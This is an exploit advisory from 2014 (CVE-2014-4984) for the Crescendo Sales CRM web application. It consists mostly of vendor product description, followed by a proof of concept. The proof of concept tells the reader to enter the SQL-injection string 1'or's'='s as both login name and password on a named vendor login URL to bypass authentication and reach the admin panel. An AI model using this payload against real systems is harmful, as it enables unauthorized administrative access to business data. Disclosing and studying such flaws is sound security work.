Crescendo - Sales CRM SQL Injection

`#################################################  
Crescendo - Sales CRM Authentication Bypass Vulnerability  
#################################################  
  
# Exploit Title: Crescendo - Sales CRM Authentication Bypass Vulnerability  
(Sql Injection)  
# Google Dork: N/A  
# Date: July 15 , 2014  
# Exploit Author: Monendra Sahu ( [email protected] )  
# Vendor Homepage: http://dejavuprotech.com/crecendo.php  
# Tested on:Windows  
# Browser Used : Google Chrome 35  
# CVE: CVE-2014-4984  
  
Vendor Information:  
  
"Déjà Vu has introduced Crescendo – Sales CRM. Targeted towards Small &  
Medium Enterprises, Crescendo is a low cost  
  
hosted application. Crescendo is instrumental in streamlining the sales  
processes like lead generation, lead tracking, lead  
  
management, account management and keeps top management informed about the  
sales pipeline. With user friendly  
  
interface, Crescendo comes with various MIS reports represented in tabular  
as well as graphical format. With the help of  
  
Crescendo companies can take better, faster and informed decisions.  
  
Crescendo - Sales CRM offers following modules:  
Leads Management  
Accounts Management  
Contacts Management  
Sales Forecasting  
Pipeline Management  
Teams Management  
Targets Managements  
Interactive Dashboards  
Graphical & MIS Reports  
  
Technologies employed for development of Crescendo - Sales CRM:  
Front End: Asp.Net, Vb.Net  
Database: MSSQL Server."  
  
  
#################################################  
Issue: SQL Injection, Authentication Bypass  
  
Risk level: High  
  
=> The remote attacker has the possibility to execute arbitrary SQL Code.  
  
=> The remote attacker is able to bypass the Admin authentication.  
  
Vulnerable Url : www.site.com/login.aspx  
  
-------------------------------------  
  
Exploit / Proof Of Concept:  
  
Perform a login with the following data:  
  
URL: http://www.crescendocrm.com/login.aspx  
  
  
Login Name:1'or's'='s  
Password:1'or's'='s  
  
You will be able to successfully login into admin panel  
  
-------------------------------------  
  
#################################################  
`